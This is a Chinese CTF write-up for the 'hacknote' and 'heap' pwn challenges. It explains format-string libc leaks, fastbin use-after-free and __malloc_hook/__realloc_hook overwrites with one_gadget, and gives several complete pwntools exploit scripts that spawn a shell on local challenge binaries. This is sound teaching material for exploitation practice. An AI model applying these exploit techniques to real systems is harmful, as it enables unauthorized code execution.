铁三赛 2020第一赛区 Pwn题(hacknote、heap) Writeup

注意
本文最后更新于 2024-02-11,文中内容可能已过时。

hacknote

思路: 利用 printf 漏洞泄露 libc_base。 然后 add note 两次 a 和 b,长度定为(0x20) ,相当于 malloc 4 块 a.putfun(0x10), a.context(0x20), b.putfun(0x10), b.context(0x20), 然后 free4 次 因为要储存堆数据要占用 0x8 的长度(fastbin size, fastbin 没有前 chunk size),所以 0x10 -> 0x20 0x20 -> 0x30 Fastbin(0x20) -> b.putfun - > a.putfun Fastbin(0x30) -> b.context -> a.context 这时候申请 addnote c 长度定为(0x10) 那么 c.putfun -> b.putfun 然后 Fastbin(0x20) -> a.putfun 再执行 c.context -> a.putfun 这时候就是 UAF 了,写入 c 的内容的时候就是写入到原来的 a 的输出函数,我们写入 one_gadget 的地址到 c 的内容覆盖掉原来 a 的输出函数,这时候再执行输出函数,实际上就是执行了 one_gadget。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *

def addnote(size, content):
    r.sendline("1")
    s = r.recv()
    r.sendline(str(size))
    s = r.recv()
    r.sendline(content)

def delnote(idx):
    s = r.recv()
    r.sendline("2")
    s = r.recv()
    r.sendline(str(idx))

def printnote(idx):
    s = r.recv()
    r.sendline("3")
    s = r.recv()
    r.sendline(str(idx))

r = process('./hacknote')
elf = ELF('./hacknote')
r.recvuntil("!")
r.sendline("%13$p")
r.recvuntil(",0x")
main_addr = r.recvuntil("\n---", drop=True)
main_addr = int(main_addr, 16) - 0xE7
libc = LibcSearcher('__libc_start_main', main_addr)
libc_base = main_addr - libc.dump('__libc_start_main')
print  "libc_base: " + hex(libc_base)

r.recv()
# gdb.attach(r)
one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
one_gadget_addr = libc_base + one_gadget[2]
print  "one_gadget_addr: " + hex(one_gadget_addr)

addnote(32, "aaaa")  # add note 0321
addnote(32, "ddaa")  # add note 1

delnote(0)  # delete note 0
delnote(1)  # delete note 1

addnote(16, p64(one_gadget_addr))  # add note 2

printnote(0)  # run one_gadget

r.interactive()

我的 libc 是 2.27 版本,和比赛环境的 2.23 不一致,但是大致一样 hacknote


heap

目前思路,先用 printf 泄露 libc,然后利用程序漏洞改写__malloc_hook,但是由于 one_gadget 都试过执行不了,需要__realloc_hook 来修改一下堆栈数据达到 one_gadget 执行条件。

程序漏洞: UAF,程序中 free 后还可以进行写入(没有对指针置 0),而且写入的空间达到 0x300 这样夸张的长度。 所以我们可以修改可控堆的 fd 指针改为__malloc_hook - 0x23,因为 malloc 的时候会检测 size,所以用这样一个偏移来过检测(偏移位置 + 0x8 正好就是 7F 00 00 00 00 00 00 00),而且__malloc_hook 和__realloc_hook 就是相邻的,且__realloc_hook 就在__malloc_hook 的前八个字节,所以从这样的一个位置可以同时覆盖两块区域。所以我们在__malloc_hook 的位置写入有偏移的 realloc(因为直接 one_gadget 不行,所以利用 realloc 开头的 pop 进行栈调整),然后在__realloc_hook 的位置写入 one_gadget_addr。实际顺序,__realloc_hook 在__malloc_hook 的前面。

调用过程: malloc -> __malloc_hook -> realloc + Offset -> __realloc_hook -> one_gadget -> get shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *

def add_item(size):
	r.sendlineafter("choice: ", "1")
	r.sendlineafter("item: ", str(size))

def edit_item(idx, data):
	r.sendlineafter("choice: ", "3")
	r.sendlineafter("item: ", str(idx))
	r.sendlineafter("data: ", data)

def del_item(idx):
	r.sendlineafter("choice: ", "4")
	r.sendlineafter("item: ", str(idx))

r = process('./heap')
elf = ELF('./heap')
r.sendlineafter("name: ", "%19$p")
r.recvuntil("0x")
main_addr = r.recvuntil("\n", drop=True)
main_addr = int(main_addr, 16) - 0xE7
libc = LibcSearcher('__libc_start_main', main_addr)
libc_base = main_addr - libc.dump('__libc_start_main')
print "libc_base: " + hex(libc_base)

one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
one_gadget_addr = libc_base + one_gadget[2]
print "one_gadget_addr: " + hex(one_gadget_addr)

malloc_hook_addr = libc_base + libc.dump("__malloc_hook")
realloc_hook_addr = libc_base + libc.dump("__realloc_hook")
realloc_addr = libc_base + libc.dump("realloc")

print "malloc_hook_addr: " + hex(malloc_hook_addr)
print "realloc_hook_addr: " + hex(realloc_hook_addr)
print "realloc_addr: " + hex(realloc_addr)

add_item(0x68) #a
add_item(0x68) #b
del_item(1) #->b
del_item(0) #->a->b
edit_item(0, p64(malloc_hook_addr - 0x23)) #change a
add_item(0x68) #c
add_item(0x68) #d
edit_item(3, 'a' * 27 + p64(one_gadget_addr) + p64(realloc_addr + 4)) #change b
add_item(0x68) #e
r.interactive()

我的 libc 是 2.27 版本,和比赛环境的不一致,我怀疑比赛环境可以直接执行,不需要__realloc_hook 一般来说可以用两次 free 来报错达到执行 malloc 的目的,但是前提是第二次 free 指针会被变为 0,所以这个时候调用栈里面也会有很多 0,方便 one_gadget。这也算是一个小技巧吧,如果还是不行再使用__realloc_hook,如果还是不行用__free_hook,这个就比较难利用了。 好像也可以用 unsorted bin 来泄露 libc 这里有个小问题,按理来说如果我把 fd 改为__malloc_hook - 0x23,那么我申请到的地址应该是从_malloc_hook - 0x13 开始写入,但是我这个系统好像申请出来也是_malloc_hook - 0x23 的位置,这….我到时候用 ubuntu16 再试试吧

补充 libc2.23 版本的 exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *

def add_item(size):
	r.sendlineafter("choice: ", "1")
	r.sendlineafter("item: ", str(size))

def edit_item(idx, data):
	r.sendlineafter("choice: ", "3")
	r.sendlineafter("item: ", str(idx))
	r.sendlineafter("data: ", data)

def del_item(idx):
	r.sendlineafter("choice: ", "4")
	r.sendlineafter("item: ", str(idx))

r = process('./heap')
elf = ELF('./heap')
r.sendlineafter("name: ", "%19$p")
r.recvuntil("0x")
main_addr = r.recvuntil("\n", drop=True)
main_addr = int(main_addr, 16) - 0xF0
libc = LibcSearcher('__libc_start_main', main_addr)
libc_base = main_addr - libc.dump('__libc_start_main')
print "libc_base: " + hex(libc_base)

one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget_addr = libc_base + one_gadget[1]
print "one_gadget_addr: " + hex(one_gadget_addr)

malloc_hook_addr = libc_base + libc.dump("__malloc_hook")
realloc_hook_addr = libc_base + libc.dump("__realloc_hook")
realloc_addr = libc_base + libc.dump("realloc")

print "malloc_hook_addr: " + hex(malloc_hook_addr)
print "realloc_hook_addr: " + hex(realloc_hook_addr)
print "realloc_addr: " + hex(realloc_addr)

add_item(0x68) #a
add_item(0x68) #b
del_item(1) #->b
del_item(0) #->a->b
edit_item(0, p64(malloc_hook_addr - 0x23)) #change a11
add_item(0x68) #c
add_item(0x68) #d
gdb.attach(r)
edit_item(3, 'a' * (0x23 - 0x10 - 0x8) + p64(one_gadget_addr) + p64(realloc_addr + 2)) #change b
del_item(0)
del_item(0)
r.interactive()

这个版本就正常了

通过 unsorted bin 获取 libc_base 这个方法通过 gdb 中的 vmmap 可以看到 libc 的基址,然后减一下 main_arena 地址算出来的就是偏移。 这个利用方法的前提是已知 libc(比赛的时候给出了 libc),用来解决 PIE 的问题。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from LibcSearcher import *

def add_item(size):
	r.sendlineafter("choice: ", "1")
	r.sendlineafter("item: ", str(size))

def show_item(idx):
	r.sendlineafter("choice: ", "2")
	r.sendlineafter("item: ", str(idx))

def edit_item(idx, data):
	r.sendlineafter("choice: ", "3")
	r.sendlineafter("item: ", str(idx))
	r.sendlineafter("data: ", data)

def del_item(idx):
	r.sendlineafter("choice: ", "4")
	r.sendlineafter("item: ", str(idx))

r = process('./heap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#r.sendlineafter("name: ", "%19$p")
r.sendlineafter("name: ", "wjh")
#r.recvuntil("0x")
#main_addr = r.recvuntil("\n", drop=True)
#main_addr = int(main_addr, 16) - 0xF0

add_item(0x90)
add_item(0x20)
del_item(0)
show_item(0)
r.recvuntil("0: ")
main_arena_addr = r.recvuntil("\n", drop=True).ljust(8, '\x00')
main_arena_addr = u64(main_arena_addr) - 88
libc_base = main_arena_addr - 0x3c4b20
print "libc_base: " + hex(libc_base)

one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget_addr = libc_base + one_gadget[1]
print "one_gadget_addr: " + hex(one_gadget_addr)

malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
realloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
realloc_addr = libc_base + libc.sym["realloc"]

print "malloc_hook_addr: " + hex(malloc_hook_addr)
print "realloc_hook_addr: " + hex(realloc_hook_addr)
print "realloc_addr: " + hex(realloc_addr)

add_item(0x68) #a
add_item(0x68) #b
del_item(3) #->b
del_item(2) #->a->b
edit_item(2, p64(malloc_hook_addr - 0x23)) #change a11
add_item(0x68) #c
add_item(0x68) #d
gdb.attach(r)
edit_item(5, 'a' * (0x23 - 0x10 - 0x8) + p64(one_gadget_addr) + p64(realloc_addr + 2)) #change b
del_item(0)
del_item(0)
r.interactive()

heap

0%